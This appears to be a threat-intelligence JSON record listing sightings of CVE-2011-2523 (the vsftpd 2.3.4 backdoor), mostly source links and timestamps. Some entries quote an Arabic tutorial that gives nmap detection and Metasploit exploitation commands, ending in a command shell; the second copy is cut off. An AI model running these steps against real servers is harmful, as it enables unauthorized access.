{"vulnerability": "CVE-2011-2523", "sightings": [{"uuid": "9204c9cd-e5a7-4b16-8aae-72fcb48554bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "exploited", "source": "https://www.exploit-db.com/exploits/49757", "content": "", "creation_timestamp": "2021-04-12T00:00:00.000000Z"}, {"uuid": "77e0c91b-7fa2-43c3-b042-78e0a9561047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://gist.github.com/0x3n0/23a1e338707ada635a1c3b26ddbee8ab", "content": "", "creation_timestamp": "2025-07-17T01:27:32.000000Z"}, {"uuid": "02c1e9f5-3d01-45f2-8925-d01f3a6e1b5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:12:56.000000Z"}, {"uuid": "317d89d7-bdc2-48c4-ab4b-a9bba1870028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://gist.github.com/Darkcrai86/b4f223bcd344016812062ce12249c0f2", "content": "", "creation_timestamp": "2025-09-26T14:20:45.000000Z"}, {"uuid": "e9e3c273-abdb-4474-a8dd-4f80e05691f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "831442ed-aad0-4160-ac5e-fe9a2c56625f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://gist.github.com/yyovil/51865e0e0043f9e11def2e8a4144e468", "content": "", "creation_timestamp": "2025-12-05T16:31:13.000000Z"}, {"uuid": "98034f2a-fac6-4944-9ef5-4db304fc1567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2011-2523", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/17491", "content": "", "creation_timestamp": "2011-07-05T00:00:00.000000Z"}, {"uuid": "f767fd8f-17ea-46d2-bc53-b067c0262cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "https://t.me/bermg1/154", "content": "\ud83d\udd3b \u0645\u0627\u0647\u064a \u062b\u063a\u0631\u0629 Vsftpd 2.3.4 \u061f\n\n\u0647\u064a \u062b\u063a\u0631\u0629 \u0627\u0645\u0627\u0646 \u0641\u064a \u0628\u0631\u0648\u062a\u0648\u0643\u0644 FTP \u0631\u0642\u0645 \u062a\u0639\u0631\u064a\u0641\u0647\u0627 (CVE-2011-2523) \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u0646\u0641\u064a\u0630 \u0627\u0643\u0648\u0627\u062f \u0648\u0627\u0648\u0627\u0645\u0631 \u0628\u0631\u0645\u062c\u064a\u0629 \u0636\u0627\u0631\u0629 \u0648 \u062e\u0637\u064a\u0631\u0629 \u0641\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \n\n\ud83d\udd3b \u0645\u0627\u0647\u064a \u0637\u0631\u0642 \u0641\u062d\u0635 \u0648\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u061f\n\n\u0643\u0645\u0627 \u0642\u0644\u0646\u0627 \u0645\u0633\u0628\u0642\u0627\u064b \u0627\u0646 \u0639\u0645\u0644\u064a\u0629 \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u062a\u0645\u0631 \u0639\u0644\u0649 \u062e\u0645\u0633\u0629 \u0645\u0631\u0627\u062d\u0644 \u062c\u0645\u0639 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0648\u0627\u0644\u0641\u062d\u0635 \u0648\u0627\u0644\u0623\u0633\u062a\u0637\u0644\u0627\u0639 \u0648\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u062b\u063a\u0631\u0629 \u0648\u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \u062f\u0639\u0648\u0646\u0627 \u0646\u0641\u0631\u0636 \u0633\u064a\u0646\u0627\u0631\u064a\u0648 \u0628\u0633\u064a\u0637 \u0627\u0644\u0623\u0646 \u0646\u0641\u0631\u0636 \u0627\u0646\u064a \u0641\u064a \u0634\u0631\u0643\u0629 \u0648\u0637\u0644\u0628 \u0645\u0646\u064a \u0627\u0644\u0645\u062f\u064a\u0631 \u0641\u062d\u0635 \u062c\u0647\u0627\u0632 \u062f\u0627\u062e\u0644 \u0647\u0630\u0647 \u0627\u0644\u0634\u0628\u0643\u0629 \u0623\u0648\u0644 \u062e\u0637\u0648\u0629 \u0633\u0623\u0642\u0648\u0645 \u0628\u0647\u0627 \u0628\u0641\u062d\u0635 \u0627\u0644\u0645\u0646\u0627\u0641\u0630 \u0628\u0623\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u062f\u0627\u0629 Nmap \u0630\u0643\u0631\u0646\u0627 \u0645\u0633\u0628\u0642\u0627\u064b \u0627\u0646\u0647\u0627 \u0645\u0646 \u0627\u0641\u0636\u0644 \u0627\u062f\u0648\u0627\u062a \u0641\u062d\u0635 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0641\u064a \u0627\u0644\u0640 Pentesting \u0627\u0644\u0627\u0646 \u0627\u0648\u0644 \u062e\u0637\u0648\u0629 \u0633\u0623\u0642\u0648\u0645 \u0628\u0647\u0627 \u0628\u0639\u0645\u0644 \u0641\u062d\u0635 \u0644\u0644\u0645\u0646\u0627\u0641\u0630 \u0648\u0627\u0644\u0623\u0635\u062f\u0627\u0631\u0627\u062a \u0648\u0627\u0644\u062e\u062f\u0645\u0627\u062a \u0627\u0644\u0645\u0634\u063a\u0644\u0629 \u0639\u0644\u064a\u0647\u0627 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0645\u0631 :\nnmap -sV -T4 127.0.0.1 \n\n \u062c\u064a\u062f \u0627\u0644\u0627\u0646 \u0646\u0641\u0631\u0636 \u0627\u0646\u0647 \u064a\u0648\u062c\u062f \u062c\u062f\u0627\u0631 \u062d\u0645\u0627\u064a\u0629 \u064a\u0642\u0648\u0645 \u0628\u0639\u0645\u0644 Block \u0644\u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0640 Scan \u0627\u0644\u062d\u0644 \u0628\u0643\u0644 \u0628\u0633\u0627\u0637\u0629 \u0647\u0648 \u0623\u0636\u0627\u0641\u0629 \u0627\u0644\u062e\u064a\u0627\u0631 \"Pn-\" \u0644\u062d\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0627\u0644\u0627\u0646 \u0628\u0639\u062f \u0627\u0646 \u0642\u0645\u0646\u0627 \u0628\u0641\u062d\u0635 \u0627\u0644\u0645\u0646\u0627\u0641\u0630 \u0648\u062a\u0628\u064a\u0646 \u0644\u0646\u0627 \u0627\u0646 \u0647\u0646\u0627\u0644\u0643 \u0645\u0646\u0641\u0630 FTP \u0645\u0641\u062a\u0648\u062d \u0627\u0644\u0627\u0646 \u062f\u0639\u0648\u0646\u0627 \u0646\u062a\u0639\u0645\u0642 \u0623\u0643\u062b\u0631 \u0648\u0646\u0642\u0648\u0645 \u0628\u0641\u062d\u0635 \u0645\u0646\u0641\u0630 21 \u064a\u0644\u064a \u0647\u0648 \u0645\u0646\u0641\u0630 FTP \u0627\u0644\u0627\u0645\u0631 \u0627\u0644\u062a\u0627\u0644\u064a \u0647\u0648 :\n\nnmap --script ftp-vsftpd-backdoor -p 21 127.0.0.1\n\n\u0627\u0644\u0627\u0646 \u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0641\u062d\u0635 :\nPORT   STATE SERVICE\n21/tcp open  ftp\n| ftp-vsftpd-backdoor:\n|   VULNERABLE:\n|   vsFTPd version 2.3.4 backdoor\n|     State: VULNERABLE (Exploitable)\n|     IDs:  CVE:CVE-2011-2523  BID:48539\n|     Description:\n|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.\n\n\u0643\u0645\u0627 \u062a\u0631\u0648\u0646 \u0623\u0635\u062f\u0642\u0627\u0626\u064a \u062a\u0623\u0643\u062f\u0646\u0627 \u0627\u0646 \u0627\u0644\u062c\u0647\u0627\u0632 \u0645\u0635\u0627\u0628 \u0641\u0639\u0644\u0627 \u0628\u062b\u063a\u0631\u0629 vsftpd 2.3.4 \u0627\u0644\u0627\u0646 \u0644\u0642\u062f \u0642\u0645\u0646\u0627 \u0628\u0623\u0646\u0647\u0627\u0621 \u0627\u0648\u0644 \u062b\u0644\u0627\u062b \u0645\u0631\u0627\u062d\u0644 \u062a\u0628\u0642\u0649 \u0641\u0642\u0637 \u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \ud83d\ude01 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u064a\u0645\u0643\u0646\u0646\u0627 \u0641\u0639\u0644 \u0630\u0644\u0643 \u0628\u0643\u0644 \u0633\u0647\u0648\u0644\u0629 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0644\u0627\u062f\u0627\u0629 \u0627\u0644\u0634\u0647\u064a\u0631\u0629   Metasploit \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u062f\u0639\u0648\u0646\u0627 \u0646\u0634\u063a\u0644\u0647\u0627 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0644\u0623\u0645\u0631 msfconsole \u0648\u0627\u0644\u0627\u0646 \u062f\u0639\u0648\u0646\u0627 \u0646\u0628\u062d\u062b \u0639\u0646 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0642\u0644\u0646\u0627 \u0645\u0633\u0628\u0642\u0627\u064b \u0627\u0646 \u0645\u064a\u062a\u0627\u0633\u0628\u0644\u0648\u064a\u062a \u0623\u0637\u0627\u0631 \u0639\u0645\u0644 \u0636\u062e\u0645 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644\u0627\u062a \u0627\u0644\u0627\u0646 \u064a\u0645\u0643\u0646\u0646\u0627 \u0627\u0644\u0628\u062d\u062b \u0645\u0646 \u062e\u0644\u0627\u0644 search vsftpd 2.3.4 \u0628\u0639\u062f\u0647\u0627 \u0646\u0642\u0648\u0645 \u0628\u0623\u062e\u062a\u064a\u0627\u0631 \u0627\u0644\u0645\u0648\u062f\u064a\u0644 \u0627\u0644\u062a\u0627\u0644\u064a \u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0645\u0631 :\nuse exploit/unix/ftp/vsftpd_234_backdoor \n\n\u0627\u0644\u0627\u0646 \u0646\u0642\u0648\u0644 \u0628\u062a\u062d\u062f\u064a\u062f RHOST \u064a\u0644\u064a \u0647\u0648 ip \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0645\u0631 \nset RHOST 127.0.0.1 \n\n\u0648\u0627\u0644\u0627\u0646 \u0646\u0642\u0648\u0645 \u0628\u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0627\u0645\u0631 exploit \u0627\u0644\u0627\u0646 \u062a\u0645 \u0641\u062a\u062d \u062c\u0644\u0633\u0629 Command Shell \u064a\u0645\u0643\u0646\u0646\u0627 \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u0646\u0638\u0627\u0645 \u0628\u0643\u0644 \u0633\u0647\u0648\u0644\u0629 \u0627\u0644\u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0627\u062e\u064a\u0631\u0629 \u0647\u064a \u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \u0639\u0646 \u0639\u0645\u0644\u064a\u0647 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u062a\u064a \u062d\u0635\u0644\u062a \u0648\u0627\u0644\u0627\u062f\u0648\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0644\u062d\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \n\n\ud83d\udd3b \u064a\u0631\u062c\u0649 \u0627\u0644\u0639\u0644\u0645 \u0627\u0646\u0647 \u064a\u0648\u062c\u062f \u0637\u0631\u0642 \u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0643\u062b\u064a\u0631\u0629 \u0627\u062e\u0631\u0649 \u0644\u0643\u0646\u0646\u064a \u0642\u0645\u062a \u0628\u0637\u0631\u062d \u0645\u062b\u0627\u0644 \u0641\u0642\u0637 \u0644\u0641\u0647\u0645 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 , \u0627\u062a\u0645\u0646\u0649 \u0627\u0646 \u062a\u0643\u0648\u0646\u0648\u0627 \u0642\u062f \u0623\u0633\u062a\u0641\u062f\u062a\u0648\u0627 \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u0645\u0642\u0627\u0644 \u0648\u0634\u0643\u0631\u0627 \u0644\u0643\u0645 \u2764\ufe0f\ud83e\udd77\n        \u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\u2122\u2774\u23cc #\u0628\u0631\u0645\u062c\u0647_\u0648\u0625\u0646\u062c\u0640\u0640\u0640\u0627\u0632 \ud83d\udcbb \u23bf\u2775\ud83d\udcf2\n\u23be  https://telegram.me/bermg1 \u23ce", "creation_timestamp": "2024-08-05T19:18:41.000000Z"}, {"uuid": "d45e8218-3779-4cb2-be51-804f7ed2cd47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/TbyvnvMJG36HRPFkPQ_0bqUyF7XZabxxdc_yuEfCHFJjcrI", "content": "", "creation_timestamp": "2025-06-19T21:00:05.000000Z"}, {"uuid": "fb1fb663-a05d-40f0-bd7e-3dbf2633575d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/xqKxuZcrXMn8yShuA9idSauoFTIlSupJTQvyPUek130Kr2g", "content": "", "creation_timestamp": "2025-08-08T09:00:04.000000Z"}, {"uuid": "b482f629-5ca1-4613-8bc6-8ea403fa826f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/4zq_XAKfBKLeh8gHSvSvrJArlLI6vLMywbvNDmyrYFeYnXc", "content": "", "creation_timestamp": "2025-11-17T03:00:07.000000Z"}, {"uuid": "cdb54f9e-23c4-46c1-9547-908c9498465b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/z3TvDyHJ2ZNCRJ0X9w9PtwT_1v_yQk-ihtqyZcMIGAQJgDU", "content": "", "creation_timestamp": "2026-04-16T03:00:06.000000Z"}, {"uuid": "d1d728a8-33b2-41ca-aac3-f17778e72285", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/XH19znCpYYgo8U4Hfo5vrZyRbbrCs-tApQ3SmI_fVyYsQZY", "content": "", "creation_timestamp": "2026-04-07T15:00:07.000000Z"}, {"uuid": "c5270517-179b-4e9f-9800-0a6d648596f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/FV-Rvp5-nmJlL-ye7soqr1a_vAj5QKyLCRjoohv879P-xrE", "content": "", "creation_timestamp": "2026-01-09T15:00:08.000000Z"}, {"uuid": "e1667b6c-74e8-42b0-82c4-38adf5226bc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/LegGEKh0JTQmQ5caQ5fsgnXr59alAvRjbf9RqdH14mBAnic", "content": "", "creation_timestamp": "2026-04-25T03:00:05.000000Z"}, {"uuid": "bb415be6-4735-4aa3-a710-fc4a2e95e7ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/UOpN9O-nQlxe_OZJbndwLaVXTXD47CPOoDJFNfhkMssuXgQ", "content": "", "creation_timestamp": "2025-08-25T09:00:05.000000Z"}, {"uuid": "4991a411-83e5-43ef-bc2f-35f1d3285a26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/uahf6_F8PIdcSoBJIP2z2NI9nX1hJnv_S07gOiJEB5WdnlM", "content": "", "creation_timestamp": "2025-08-20T15:00:06.000000Z"}, {"uuid": "bfdc877a-c1f8-4f6d-b93b-79ff6aaa24c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/lfASgpARQv2c57G6EJ6ZFDpLBzh_hf6PR1VyFeUcDrYroUc", "content": "", "creation_timestamp": "2025-08-11T09:00:05.000000Z"}, {"uuid": "f76de7f1-d255-42eb-94a3-f2a8cfd4085c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/NMV5sik8sia5UXj83qIxi8prcBwF0gahgeaFEnU786tN0nc", "content": "", "creation_timestamp": "2025-07-12T15:00:06.000000Z"}, {"uuid": "cec17f9c-74ce-4349-b0b3-1c01899a3c86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/L2PYrboxZLHcrUj1p9ylDTVlId5tME-h7qUD1WFs7JDrYK5y", "content": "", "creation_timestamp": "2023-08-06T21:15:10.000000Z"}, {"uuid": "44c3e7df-01f9-4eff-8a45-855e14173da1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/BKE4qYyxMqArREycKe3HN6DFuncKlBcId21tcS12TWKCNCh-", "content": "", "creation_timestamp": "2023-08-10T15:27:41.000000Z"}, {"uuid": "8a1d0597-70e4-4d18-bb8a-3652ca57873e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/arpsyndicate/741", "content": "#ExploitObserverAlert\n\nCVE-2011-2523\n\nDESCRIPTION: Exploit Observer has 58 entries related to CVE-2011-2523. vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.\n\nFIRST-EPSS: 0.883420000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-29T13:20:39.000000Z"}, {"uuid": "bfa3f6d7-f8b1-4399-8eec-2b915fdf2eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/arpsyndicate/572", "content": "#ExploitObserverAlert\n\nCVE-2011-2523\n\nDESCRIPTION: Exploit Observer has 55 entries related to CVE-2011-2523. vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.\n\nFIRST-EPSS: 0.883420000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-25T04:47:50.000000Z"}, {"uuid": "491043cc-ebfc-4f62-aa89-96a85d925bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/arpsyndicate/31", "content": "#ExploitObserverAlert\n\nCVE-2011-2523\n\nDESCRIPTION: Exploit Observer has 52 entries related to CVE-2011-2523. vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.\n\nFIRST-EPSS: 0.883420000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-09T12:57:45.000000Z"}, {"uuid": "7905be87-daa2-469e-b847-f5e90f929341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/arpsyndicate/1731", "content": "#ExploitObserverAlert\n\nCVE-2011-2523\n\nDESCRIPTION: Exploit Observer has 58 entries related to CVE-2011-2523. vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.\n\nFIRST-EPSS: 0.883420000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-11T12:23:40.000000Z"}, {"uuid": "72a097e5-2b72-459f-bd2d-479b4c611345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/S2uy1Smk9mhzoKfF70Apfb4PIPTgKgtfhq2LKQic9pn4-zI", "content": "", "creation_timestamp": "2025-04-12T23:00:06.000000Z"}, {"uuid": "b6df4e29-b103-4015-a30c-07de7d95afab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/2Mv-2iki26E7M91NoHSItb85uE7hmbSk_CGlhbCKtUOV7I0", "content": "", "creation_timestamp": "2025-04-05T17:00:10.000000Z"}, {"uuid": "45c18bd2-2f9e-4a69-851b-becb41ed8b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/3Hw0ti8HK8QOqtOY2rsuqDdNwUtzE1sTstZVcrt4AbtXgI8", "content": "", "creation_timestamp": "2025-04-14T23:00:06.000000Z"}, {"uuid": "b79de02e-91ac-4cbf-814c-cb9c4f473fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/Vb4nGx5dYQiJpRJuBNUH7q81YmTIcxb-wg_wbx-vBfcI_I0", "content": "", "creation_timestamp": "2025-02-20T04:00:07.000000Z"}, {"uuid": "d9c1e5d3-0bd0-489d-957b-dee05498f5b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/UIIil_OEKPCpY2SMStXdCBJaH7xM-W5ZaJi2JXSjxGtvPOo", "content": "", "creation_timestamp": "2025-02-28T04:00:06.000000Z"}, {"uuid": "7e9e7c33-7214-4f85-a6a7-152aa67b75b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurity026/1916", "content": "\ud83d\udd3b \u0645\u0627\u0647\u064a \u062b\u063a\u0631\u0629 Vsftpd 2.3.4 \u061f\n\n\u0647\u064a \u062b\u063a\u0631\u0629 \u0627\u0645\u0627\u0646 \u0641\u064a \u0628\u0631\u0648\u062a\u0648\u0643\u0644 FTP \u0631\u0642\u0645 \u062a\u0639\u0631\u064a\u0641\u0647\u0627 (CVE-2011-2523) \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u0646\u0641\u064a\u0630 \u0627\u0643\u0648\u0627\u062f \u0648\u0627\u0648\u0627\u0645\u0631 \u0628\u0631\u0645\u062c\u064a\u0629 \u0636\u0627\u0631\u0629 \u0648 \u062e\u0637\u064a\u0631\u0629 \u0641\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \n\n\ud83d\udd3b \u0645\u0627\u0647\u064a \u0637\u0631\u0642 \u0641\u062d\u0635 \u0648\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u061f\n\n\u0643\u0645\u0627 \u0642\u0644\u0646\u0627 \u0645\u0633\u0628\u0642\u0627\u064b \u0627\u0646 \u0639\u0645\u0644\u064a\u0629 \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u062a\u0645\u0631 \u0639\u0644\u0649 \u062e\u0645\u0633\u0629 \u0645\u0631\u0627\u062d\u0644 \u062c\u0645\u0639 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0648\u0627\u0644\u0641\u062d\u0635 \u0648\u0627\u0644\u0623\u0633\u062a\u0637\u0644\u0627\u0639 \u0648\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u062b\u063a\u0631\u0629 \u0648\u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \u062f\u0639\u0648\u0646\u0627 \u0646\u0641\u0631\u0636 \u0633\u064a\u0646\u0627\u0631\u064a\u0648 \u0628\u0633\u064a\u0637 \u0627\u0644\u0623\u0646 \u0646\u0641\u0631\u0636 \u0627\u0646\u064a \u0641\u064a \u0634\u0631\u0643\u0629 \u0648\u0637\u0644\u0628 \u0645\u0646\u064a \u0627\u0644\u0645\u062f\u064a\u0631 \u0641\u062d\u0635 \u062c\u0647\u0627\u0632 \u062f\u0627\u062e\u0644 \u0647\u0630\u0647 \u0627\u0644\u0634\u0628\u0643\u0629 \u0623\u0648\u0644 \u062e\u0637\u0648\u0629 \u0633\u0623\u0642\u0648\u0645 \u0628\u0647\u0627 \u0628\u0641\u062d\u0635 \u0627\u0644\u0645\u0646\u0627\u0641\u0630 \u0628\u0623\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u062f\u0627\u0629 Nmap \u0630\u0643\u0631\u0646\u0627 \u0645\u0633\u0628\u0642\u0627\u064b \u0627\u0646\u0647\u0627 \u0645\u0646 \u0627\u0641\u0636\u0644 